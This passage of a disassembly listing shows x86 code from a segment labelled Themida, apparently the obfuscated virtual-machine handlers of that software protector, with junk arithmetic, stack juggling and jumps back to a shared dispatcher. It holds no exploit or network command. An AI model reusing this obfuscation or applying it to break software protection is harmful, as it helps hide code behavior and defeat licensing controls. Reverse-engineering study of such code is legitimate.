		add	esp, 4
		jmp	loc_559776
; ---------------------------------------------------------------------------


loc_55648E:				; CODE XREF: Themida_:0055C9F5j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556493:				; CODE XREF: Themida_:005598B0j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55A72E
; ---------------------------------------------------------------------------


loc_5564B9:				; CODE XREF: Themida_:00557943j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_554938
; ---------------------------------------------------------------------------


loc_5564C6:				; CODE XREF: Themida_:00555294j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		sub	esi, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_553F49
; ---------------------------------------------------------------------------


loc_5564EE:				; CODE XREF: Themida_:00558539j
		mov	eax, 46633AFBh
		add	ebp, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_556A50
; ---------------------------------------------------------------------------


loc_55650D:				; CODE XREF: Themida_:00553F6Ej
		add	[esp+4], edi
		jmp	loc_55A02B
; ---------------------------------------------------------------------------


loc_556516:				; CODE XREF: Themida_:0055D856j
		add	ebx, 2E8D42DEh
		add	eax, ebx
		pop	ebx
		add	eax, ebx
		sub	eax, 3692603Fh
		pop	ebx
		push	esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	bl, dl
		push	edx
		mov	dh, bl
		mov	[eax], dh
		jmp	loc_5561ED
; ---------------------------------------------------------------------------


loc_556541:				; CODE XREF: Themida_:00556E88j
		xor	ebp, 0ABC0E285h
		add	ecx, ebp
		jmp	loc_55AC38
; ---------------------------------------------------------------------------


loc_55654E:				; CODE XREF: Themida_:0055ABCBj
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55655F:				; CODE XREF: Themida_:005560D1j
		push	ecx
		xor	dword ptr [esp], 463F7ACEh
		pop	eax
		push	edx
		mov	edx, 1EDF4A5Dh
		or	edx, 11EF7C08h
		shr	edx, 4
		not	edx
		jmp	loc_5567E1
; ---------------------------------------------------------------------------


loc_55657E:				; CODE XREF: Themida_:00554066j
		xor	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		test	cx, ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556594:				; CODE XREF: Themida_:0055585Ej
		sub	al, 2Ch
		push	edx
		push	ebx
		jmp	loc_55D30E
; ---------------------------------------------------------------------------


loc_55659D:				; CODE XREF: Themida_:005563F2j
		neg	ebp
		dec	ebp
		jmp	loc_556B57
; ---------------------------------------------------------------------------


loc_5565A5:				; CODE XREF: Themida_:00557714j
		sub	ch, bl
		pop	ebx
		xor	ch, 7Eh
		and	ch, 91h
		shr	ch, 1
		sub	esp, 2
		mov	[esp], cx
		inc	byte ptr [esp+1]
		pop	cx
		xor	ch, 0D7h
		jmp	loc_559725
; ---------------------------------------------------------------------------


loc_5565C5:				; CODE XREF: Themida_:005556DBj
		push	edx
		push	eax
		mov	eax, 2
		push	edi
		mov	edi, eax
		mov	edx, edi
		pop	edi
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 45127A32h
		not	ebx
		jmp	loc_559E5C
; ---------------------------------------------------------------------------


loc_5565EB:				; CODE XREF: Themida_:0055D2FAj
		neg	edi
		add	edi, 12B72586h
		add	ebx, 747E5518h
		sub	ebx, edi
		sub	ebx, 747E5518h
		jmp	loc_558878
; ---------------------------------------------------------------------------


loc_556606:				; CODE XREF: Themida_:0055CA4Dj
		not	cx
		jmp	loc_555D59
; ---------------------------------------------------------------------------


loc_55660E:				; CODE XREF: Themida_:00558E2Dj
		or	ecx, 147547C7h
		jmp	loc_5598E2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	59F7h
		jmp	loc_55C500
; ---------------------------------------------------------------------------


loc_556627:				; CODE XREF: Themida_:005569D0j
		push	esi
		jmp	loc_55C8BC
; ---------------------------------------------------------------------------


loc_55662D:				; CODE XREF: Themida_:00556054j
		sub	esi, 3F1935E3h
		jmp	loc_552C71
; ---------------------------------------------------------------------------


loc_556638:				; CODE XREF: Themida_:005529B9j
		mov	esi, esp
		jmp	loc_55A32E
; ---------------------------------------------------------------------------


loc_55663F:				; CODE XREF: Themida_:0055451Dj
		pop	edx
		jmp	loc_552AD3
; ---------------------------------------------------------------------------


loc_556645:				; CODE XREF: Themida_:00557EFCj
		add	ecx, 0BA2CBF16h
		jmp	loc_55A78F
; ---------------------------------------------------------------------------


loc_556650:				; CODE XREF: Themida_:00557DCDj
		xor	edx, 1AF23CC6h
		jmp	loc_553A15
; ---------------------------------------------------------------------------


loc_55665B:				; CODE XREF: Themida_:005598CFj
		pop	edx
		xchg	esi, [esp]
		pop	esp
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55666A:				; CODE XREF: Themida_:00557EE5j
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		jmp	loc_55A33F
; ---------------------------------------------------------------------------


loc_556680:				; CODE XREF: Themida_:0055B01Aj
		add	esp, 4
		jmp	loc_5534FA
; ---------------------------------------------------------------------------


loc_556688:				; CODE XREF: Themida_:0055BB14j
		push	edi
		push	esi
		mov	esi, 371A3DFBh
		mov	edi, 0C946D185h
		add	edi, esi
		pop	esi
		push	esi
		push	ebx
		push	edx
		mov	edx, 0B9A11A4h
		jmp	loc_5542E9
; ---------------------------------------------------------------------------


loc_5566A4:				; CODE XREF: Themida_:00555746j
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	ebx
		push	2
		pop	ebx
		push	ebx
		mov	ebx, 55B96CA2h
		add	ebx, 0B2BCA0B7h
		sub	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esi, ebx
		add	esi, 8760D59h
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5566E6:				; CODE XREF: Themida_:0055D74Fj
		or	cl, 75h
		jmp	loc_551BC0
; ---------------------------------------------------------------------------


loc_5566EE:				; CODE XREF: Themida_:0055571Dj
		mov	cl, 11h
		push	ecx
		mov	ch, 0A3h
		or	ch, 3Ch
		sub	ch, 0Dh
		mov	dl, ch
		jmp	loc_553DF9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_55A514
; ---------------------------------------------------------------------------


loc_55670F:				; CODE XREF: Themida_:005529C1j
		mov	edi, 1DB2671Eh
		sub	esi, edi
		pop	edi
		jmp	loc_55A507
; ---------------------------------------------------------------------------


loc_55671C:				; CODE XREF: Themida_:0055CE84j
		not	dword ptr [esp]
		pop	ebx
		neg	ebx
		sub	ebx, 0A0666929h
		mov	ecx, 0BAF68FE4h
		sub	ecx, ebx
		pop	ebx
		inc	ecx
		xor	ecx, 77696EB9h
		add	edx, ecx
		pop	ecx
		sub	edx, 54A019FDh
		sub	edx, 3F1225DCh
		sub	edx, 4B7A2801h
		add	edx, eax
		push	ebp
		mov	ebp, 4B7A2801h
		add	edx, ebp
		pop	ebp
		jmp	loc_5584E0
; ---------------------------------------------------------------------------


loc_55675C:				; CODE XREF: Themida_:005579BAj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		mov	edi, [esp]
		add	esp, 4
		xor	eax, edi
		xor	edi, eax
		jmp	loc_5574B5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		jmp	loc_55B1CA
; ---------------------------------------------------------------------------


loc_556788:				; CODE XREF: Themida_:00557D10j
		add	eax, 4
		push	esi
		push	ebp
		mov	ebp, 7C12310Fh
		mov	esi, 573D5AB6h
		xor	esi, ebp
		pop	ebp
		xor	esi, 4D8C051Fh
		push	eax
		mov	eax, 68BB1B81h
		jmp	loc_555497
; ---------------------------------------------------------------------------


loc_5567AD:				; CODE XREF: Themida_:00551ACEj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ebx, 2DE67378h
		add	ebx, eax
		sub	ebx, 2DE67378h
		push	417h
		jmp	loc_5576C8
; ---------------------------------------------------------------------------


loc_5567CC:				; CODE XREF: Themida_:005527B5j
		push	ebx
		mov	ebx, 18635AA9h
		neg	ebx
		push	esi
		mov	esi, 0E79CA555h
		sub	ebx, esi
		jmp	loc_55A3B4
; ---------------------------------------------------------------------------


loc_5567E1:				; CODE XREF: Themida_:00556579j
		inc	edx
		sub	edx, 0B7C08D4Dh
		xor	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55BCF2
; ---------------------------------------------------------------------------


loc_556800:				; CODE XREF: Themida_:00556F30j
		add	ecx, edi
		pop	edi
		jmp	loc_55B98A
; ---------------------------------------------------------------------------


loc_556808:				; CODE XREF: Themida_:00553716j
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		push	56F6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ecx
		mov	ecx, 8940AE9h
		jmp	loc_55902D
; ---------------------------------------------------------------------------


loc_55682B:				; CODE XREF: Themida_:00553038j
		pop	edx
		add	esp, 4
		xor	eax, edx
		jmp	loc_553F73
; ---------------------------------------------------------------------------


loc_556836:				; CODE XREF: Themida_:00558088j
		pop	dword ptr [esp]
		jmp	loc_554215
; ---------------------------------------------------------------------------


loc_55683E:				; CODE XREF: Themida_:005533C2j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	8B3h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5531B8
; ---------------------------------------------------------------------------


loc_55686E:				; CODE XREF: Themida_:0055DCBCj
		pop	edi
		xor	edx, [esp]
		jmp	loc_553710
; ---------------------------------------------------------------------------


loc_556877:				; CODE XREF: Themida_:0055291Ej
		mov	[esp], esi
		jmp	loc_55AC89
; ---------------------------------------------------------------------------


loc_55687F:				; CODE XREF: Themida_:00553359j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		jmp	loc_555381
; ---------------------------------------------------------------------------


loc_55688B:				; CODE XREF: Themida_:005523EBj
		mov	ebx, 6A307D8Bh
		and	edx, ebx
		pop	ebx
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_555539
; ---------------------------------------------------------------------------


loc_5568A1:				; CODE XREF: Themida_:00551883j
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55C34A
; ---------------------------------------------------------------------------


loc_5568B0:				; CODE XREF: Themida_:0055C393j
		mov	ecx, 7B4E0CB7h
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	70BFh
		mov	[esp], ebx
		mov	ebx, 7B4E0CB7h
		sub	eax, ebx
		pop	ebx
		push	esi
		push	13420F2Bh
		push	dword ptr [esp]
		jmp	loc_5555EA
; ---------------------------------------------------------------------------


loc_5568FB:				; CODE XREF: Themida_:005587FCj
		add	ebx, 4
		jmp	loc_553DA7
; ---------------------------------------------------------------------------


loc_556906:				; CODE XREF: Themida_:00553624j
		dec	dl
		jmp	loc_5523AB
; ---------------------------------------------------------------------------


loc_55690D:				; CODE XREF: Themida_:0055BC2Ej
		shr	ecx, 4
		inc	ecx
		xor	ecx, 38F0A6Fh
		jmp	loc_55424B
; ---------------------------------------------------------------------------


loc_55691C:				; CODE XREF: Themida_:0055A4C9j
		push	edi
		push	esi
		xor	dword ptr [esp], 5B8E0BDEh
		pop	edi
		xor	edi, 5B8E0BDEh
		mov	edx, edi
		pop	edi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_5553D9
; ---------------------------------------------------------------------------


loc_55693A:				; CODE XREF: Themida_:0055C0D4j
		push	eax
		push	esp
		pop	eax
		push	ebx
		push	4
		pop	ebx
		add	eax, ebx
		pop	ebx
		push	523Ch
		mov	[esp], ebx
		mov	ebx, 4
		sub	eax, 76C87C28h
		jmp	loc_55A857
; ---------------------------------------------------------------------------


loc_55695E:				; CODE XREF: Themida_:005587F5j
		push	ebp
		mov	ebp, 51B00817h
		add	ebx, ebp
		pop	ebp
		jmp	loc_559DDC
; ---------------------------------------------------------------------------


loc_55696C:				; CODE XREF: Themida_:0055ADA1j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_553004
; ---------------------------------------------------------------------------


loc_556977:				; CODE XREF: Themida_:0055A88Ej
		mov	ebp, 7AE908C9h
		or	ebp, 7D1A42C0h
		jmp	loc_55513D
; ---------------------------------------------------------------------------


loc_556987:				; CODE XREF: Themida_:0055707Ej
		sub	al, 0BDh
		add	al, 3Dh
		sub	bl, al
		pop	eax
		push	edx
		jmp	loc_55D53F
; ---------------------------------------------------------------------------


loc_556994:				; CODE XREF: Themida_:0055B8A4j
		not	ecx
		add	ecx, 95AAB43Fh
		jmp	loc_553CDE
; ---------------------------------------------------------------------------


loc_5569A1:				; CODE XREF: Themida_:0055C013j
		div	cl
		jmp	loc_5546EA
; ---------------------------------------------------------------------------


loc_5569A8:				; CODE XREF: Themida_:005533B6j
		mov	[esp], edx
		jmp	loc_5589EF
; ---------------------------------------------------------------------------


loc_5569B0:				; CODE XREF: Themida_:0055C267j
		shl	cl, 7
		jmp	loc_554D7F
; ---------------------------------------------------------------------------


loc_5569B8:				; CODE XREF: Themida_:005596DCj
		add	edx, 548C6424h
		jmp	loc_55742F
; ---------------------------------------------------------------------------


loc_5569C3:				; CODE XREF: Themida_:0055366Aj
		mov	esi, esp
		jmp	loc_55B15F
; ---------------------------------------------------------------------------


loc_5569CA:				; CODE XREF: Themida_:0055A329j
		mov	eax, ebx
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_556627
; ---------------------------------------------------------------------------


loc_5569D5:				; CODE XREF: Themida_:0055C9E7j
		pop	esp
		push	68C8h
		jmp	loc_5526FE
; ---------------------------------------------------------------------------


loc_5569E0:				; CODE XREF: Themida_:005539CFj
		mov	ch, 8Ch
		xor	ch, dh
		pop	edx
		inc	ch
		inc	ch
		add	ch, 27h
		sub	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55956C
; ---------------------------------------------------------------------------


loc_5569F9:				; CODE XREF: Themida_:005535E2j
		xor	edx, 14E319EEh
		add	edx, 9DA48B8Fh
		jmp	loc_5519FC
; ---------------------------------------------------------------------------


loc_556A0A:				; CODE XREF: Themida_:005549D0j
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 80h
		and	ecx, edx
		jmp	loc_551ED8
; ---------------------------------------------------------------------------


loc_556A1C:				; CODE XREF: Themida_:0055399Dj
		mov	ebp, 34BC63DBh
		mov	esi, ebp
		pop	ebp
		sub	ebx, esi
		pop	esi
		pop	edx
		shr	ebx, 5
		push	edi
		jmp	loc_552E8C
; ---------------------------------------------------------------------------


loc_556A31:				; CODE XREF: Themida_:0055985Fj
		add	esp, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556A48:				; CODE XREF: Themida_:00553C1Aj
		push	dx
		push	ecx
		jmp	loc_55813C
; ---------------------------------------------------------------------------


loc_556A50:				; CODE XREF: Themida_:00556508j
		mov	esp, [esp]
		jmp	loc_5528A5
; ---------------------------------------------------------------------------


loc_556A58:				; CODE XREF: Themida_:00553F95j
		push	ecx
		mov	ecx, 6DDA0CFAh
		shl	ecx, 6
		sub	ecx, 638F208Eh
		jmp	loc_557844
; ---------------------------------------------------------------------------


loc_556A6C:				; CODE XREF: Themida_:0055554Bj
		shl	esi, 6
		push	edi
		mov	edi, 46182B7Fh
		xor	esi, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5524FC
; ---------------------------------------------------------------------------


loc_556A82:				; CODE XREF: Themida_:0055A9E0j
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5577F3
; ---------------------------------------------------------------------------


loc_556A93:				; CODE XREF: Themida_:0055497Cj
		mov	bl, ch
		mov	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	dh, al
		jmp	loc_55A808
; ---------------------------------------------------------------------------


loc_556AA8:				; CODE XREF: Themida_:00558FE2j
		add	al, ch
		sub	al, 46h
		push	ecx
		mov	ch, 31h
		add	al, ch
		pop	ecx
		jmp	loc_558A66
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, 13369C5h
		add	eax, 385A3F7Bh
		sub	eax, 1CAF5BB0h
		jmp	loc_55C1A6
; ---------------------------------------------------------------------------


loc_556ACD:				; CODE XREF: Themida_:0055CE6Aj
		mov	esi, 0F8A61BAh
		add	edx, esi
		jmp	loc_55B260
; ---------------------------------------------------------------------------


loc_556AD9:				; CODE XREF: Themida_:0055A68Dj
		add	dword ptr [esp], 4
		jmp	loc_55B074
; ---------------------------------------------------------------------------


loc_556AE5:				; CODE XREF: Themida_:00555833j
		sub	eax, 4
		jmp	loc_55608F
; ---------------------------------------------------------------------------


loc_556AEF:				; CODE XREF: Themida_:00556B75j
		add	ecx, 4
		jmp	loc_55CEB5
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55C16D
; ---------------------------------------------------------------------------


loc_556B00:				; CODE XREF: Themida_:0055CE7Dj
		mov	[esp], edx
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55C590
; ---------------------------------------------------------------------------


loc_556B18:				; CODE XREF: Themida_:00556302j
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	esi
		push	35717ACDh
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 2
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		sub	esi, 1
		xor	esi, 72001D6Fh
		mov	edi, esi
		pop	esi
		jmp	loc_557DAA
; ---------------------------------------------------------------------------


loc_556B4B:				; CODE XREF: Themida_:00558C1Fj
		mov	[esp], edi
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5550BF
; ---------------------------------------------------------------------------


loc_556B57:				; CODE XREF: Themida_:005565A0j
		shl	ebp, 1
		and	ebp, 7B1825C5h
		jmp	loc_5597DE
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	0C36h
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_556AEF
; ---------------------------------------------------------------------------


loc_556B7A:				; CODE XREF: Themida_:005575CAj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55367C
; ---------------------------------------------------------------------------


loc_556B8D:				; CODE XREF: Themida_:0055D59Cj
		push	dx
		mov	dh, 79h
		add	ch, dh
		jmp	loc_555097
; ---------------------------------------------------------------------------


loc_556B98:				; CODE XREF: Themida_:0055C230j
		mov	edi, 0C442658h
		jmp	loc_554F18
; ---------------------------------------------------------------------------


loc_556BA2:				; CODE XREF: Themida_:00556E6Bj
		add	ebp, 7F5316Fh
		xor	ebp, 756124DEh
		add	ebp, 1B7D3915h
		xor	ebp, 6CED26Dh
		mov	ebx, ebp
		jmp	loc_555A1B
; ---------------------------------------------------------------------------


loc_556BC1:				; CODE XREF: Themida_:00551DC6j
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_55AF1A
; ---------------------------------------------------------------------------


loc_556BCF:				; CODE XREF: Themida_:0055D2B8j
		mov	ecx, 675365E1h
		jmp	loc_556FD3
; ---------------------------------------------------------------------------


loc_556BD9:				; CODE XREF: Themida_:0055AC8Ej
		mov	[esp], ecx
		mov	ecx, 27281F2Ch
		add	dword ptr [esp+4], 764361C8h
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 764361C8h
		jmp	loc_558B4E
; ---------------------------------------------------------------------------


loc_556BFA:				; CODE XREF: Themida_:0055C6BFj
		pop	esp
		jmp	loc_55A320
; ---------------------------------------------------------------------------


loc_556C00:				; CODE XREF: Themida_:0055A407j
		sub	esp, 4
		jmp	loc_552800
; ---------------------------------------------------------------------------


loc_556C08:				; CODE XREF: Themida_:0055768Fj
		push	ecx
		jmp	loc_553EFA
; ---------------------------------------------------------------------------


loc_556C0E:				; CODE XREF: Themida_:0055638Aj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_554452
; ---------------------------------------------------------------------------


loc_556C1C:				; CODE XREF: Themida_:0055B11Bj
		push	ebp
		mov	ebp, 3EB8751Ch
		jmp	loc_55421D
; ---------------------------------------------------------------------------


loc_556C27:				; CODE XREF: Themida_:005526B0j
		pop	ebx
		add	eax, 4E576CAh
		sub	eax, edi
		sub	eax, 4E576CAh
		jmp	loc_552BA1
; ---------------------------------------------------------------------------


loc_556C39:				; CODE XREF: Themida_:005582B4j
		push	2710h
		jmp	loc_5527DD
; ---------------------------------------------------------------------------


loc_556C43:				; CODE XREF: Themida_:00553C70j
		add	esp, 4
		push	edx
		jmp	loc_55B14C
; ---------------------------------------------------------------------------


loc_556C4C:				; CODE XREF: Themida_:0055AE11j
		add	ebx, ebp
		pop	ebp
		inc	ebx
		and	ebx, 5DAB7DA0h
		xor	ebx, 48B1521h
		mov	edx, ebx
		pop	ebx
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_551E26
; ---------------------------------------------------------------------------


loc_556C82:				; CODE XREF: Themida_:00553D55j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556C8E:				; CODE XREF: Themida_:00558B0Fj
		push	ebp
		push	ebx
		jmp	loc_552DC6
; ---------------------------------------------------------------------------


loc_556C95:				; CODE XREF: Themida_:0055BD42j
		xor	ecx, 6B357119h
		jmp	loc_551B3E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6816h
		mov	[esp], esi
		jmp	loc_55C2FC
; ---------------------------------------------------------------------------


loc_556CB1:				; CODE XREF: Themida_:0055341Cj
		mov	edi, 925686A1h
		sub	edi, esi
		jmp	loc_557450
; ---------------------------------------------------------------------------


loc_556CBD:				; CODE XREF: Themida_:005593E0j
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_55ACB0
; ---------------------------------------------------------------------------


loc_556CD3:				; CODE XREF: Themida_:0055D790j
		mov	[esp], ecx
		jmp	loc_55A271
; ---------------------------------------------------------------------------


loc_556CDB:				; CODE XREF: Themida_:005578A7j
		add	esp, 4
		add	esp, 4
		add	ebx, eax
		push	eax
		mov	eax, 38852B86h
		add	eax, 497E4AE8h
		xor	eax, 0F93036D6h
		jmp	loc_55C64E
; ---------------------------------------------------------------------------


loc_556CFB:				; CODE XREF: Themida_:005592FDj
		xor	ecx, 0E20A80CFh
		add	eax, offset byte_5D3883
		add	eax, ecx
		sub	eax, offset byte_5D3883
		pop	ecx
		push	7341h
		mov	[esp], ecx
		push	edi
		mov	edi, 17ED0650h
		mov	ecx, 17ED0654h
		sub	ecx, edi
		pop	edi
		add	eax, 73E54625h
		add	eax, ecx
		sub	eax, 73E54625h
		mov	ecx, [esp]
		jmp	loc_55B656
; ---------------------------------------------------------------------------


loc_556D38:				; CODE XREF: Themida_:0055394Fj
		push	0F88h
		mov	[esp], edi
		push	35F93761h
		pop	edi
		push	ebx
		mov	ebx, 3BBF39FBh
		shl	ebx, 6
		jmp	loc_55D15E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_556136
; ---------------------------------------------------------------------------


loc_556D5E:				; CODE XREF: Themida_:0055A6BFj
		add	ch, 0EBh
		xor	ch, 0B6h
		jmp	loc_557C50
; ---------------------------------------------------------------------------


loc_556D69:				; CODE XREF: Themida_:00551F53j
		mov	esi, 459E4CF9h
		neg	esi
		xor	esi, 0BA61B303h
		add	eax, esi
		jmp	loc_555832
; ---------------------------------------------------------------------------


loc_556D7D:				; CODE XREF: Themida_:0055D980j
		pop	ebx
		mov	eax, ebx
		pop	ebx
		jmp	loc_55D349
; ---------------------------------------------------------------------------


loc_556D86:				; CODE XREF: Themida_:0055753Bj
		mov	[esp], ebp
		mov	ebp, 7C3320CFh
		jmp	loc_558FF7
; ---------------------------------------------------------------------------


loc_556D93:				; CODE XREF: Themida_:0055489Fj
		mov	ch, 0EFh
		shr	ch, 5
		and	ch, 42h
		push	eax
		mov	al, 28h
		add	al, 28h
		xor	al, 0EFh
		add	al, 79h
		add	ch, al
		jmp	loc_557DFE
; ---------------------------------------------------------------------------


loc_556DAB:				; CODE XREF: Themida_:0055CC7Aj
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		push	42F3h
		mov	[esp], edx
		push	2F5A60FFh
		pop	edx
		push	ebp
		mov	ebp, 20BC4940h
		xor	ebp, 6F47268Ah
		add	ebp, 13785532h
		jmp	loc_5536C5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55BE5D
; ---------------------------------------------------------------------------


loc_556E01:				; CODE XREF: Themida_:005550A4j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 2
		jmp	loc_5563C4
; ---------------------------------------------------------------------------


loc_556E14:				; CODE XREF: Themida_:0055BFA6j
		pop	eax
		push	ax
		push	edx
		mov	dh, 71h
		jmp	loc_5542B7
; ---------------------------------------------------------------------------


loc_556E1F:				; CODE XREF: Themida_:0055620Ej
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_5528DE
; ---------------------------------------------------------------------------


loc_556E29:				; CODE XREF: Themida_:00555F89j
		pop	esp
		mov	ecx, [esp]
		jmp	loc_55A4AD
; ---------------------------------------------------------------------------


loc_556E32:				; CODE XREF: Themida_:005551A3j
		xchg	esi, [esp]
		jmp	loc_55BAE8
; ---------------------------------------------------------------------------


loc_556E3A:				; CODE XREF: Themida_:0055D002j
		push	eax
		jmp	loc_55AF85
; ---------------------------------------------------------------------------


loc_556E40:				; CODE XREF: Themida_:005585E2j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55571A
; ---------------------------------------------------------------------------


loc_556E5E:				; CODE XREF: Themida_:0055870Ej
		pop	esp
		jmp	loc_5577EE
; ---------------------------------------------------------------------------


loc_556E64:				; CODE XREF: Themida_:00557541j
		sub	ebp, 2C9C1175h
		inc	ebp
		jmp	loc_556BA2
; ---------------------------------------------------------------------------


loc_556E70:				; CODE XREF: Themida_:005575BBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_556E7F:				; CODE XREF: Themida_:00554339j
		push	ebp
		mov	ebp, 70C21683h
		inc	ebp
		not	ebp
		jmp	loc_556541
; ---------------------------------------------------------------------------


loc_556E8D:				; CODE XREF: Themida_:005523FCj
		add	esp, 4
		jmp	loc_557793
; ---------------------------------------------------------------------------


loc_556E98:				; CODE XREF: Themida_:00557CBCj
		mov	edi, esp
		push	ebx
		mov	ebx, 526B7508h
		not	ebx
		push	eax
		push	ebx
		mov	ebx, 617352DDh
		not	ebx
		and	ebx, 668135Dh
		jmp	loc_551C91
; ---------------------------------------------------------------------------


loc_556EB6:				; CODE XREF: Themida_:00559493j
		mov	[esp], edi
		push	5263h
		jmp	loc_5579B7
; ---------------------------------------------------------------------------


loc_556EC3:				; CODE XREF: Themida_:0055A997j
		pop	ebp
		add	ebp, eax
		pop	eax
		push	47B0h
		mov	[esp], edx
		mov	edx, 2
		sub	ebp, edx
		jmp	loc_55A114
; ---------------------------------------------------------------------------


loc_556EDB:				; CODE XREF: Themida_:00558FD9j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, 1AC67AD8h
		add	ecx, ebp
		add	ecx, 1AC67AD8h
		mov	ebp, [esp]
		jmp	loc_551CD0
; ---------------------------------------------------------------------------


loc_556EFA:				; CODE XREF: Themida_:0055C1E1j
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		push	edi
		mov	edi, 3FCA7E7Eh
		sub	ecx, edi
		pop	edi
		add	ecx, 58FB34E3h
		add	ecx, edi
		sub	ecx, 58FB34E3h
		push	edi
		mov	edi, 3FCA7E7Eh
		jmp	loc_556800
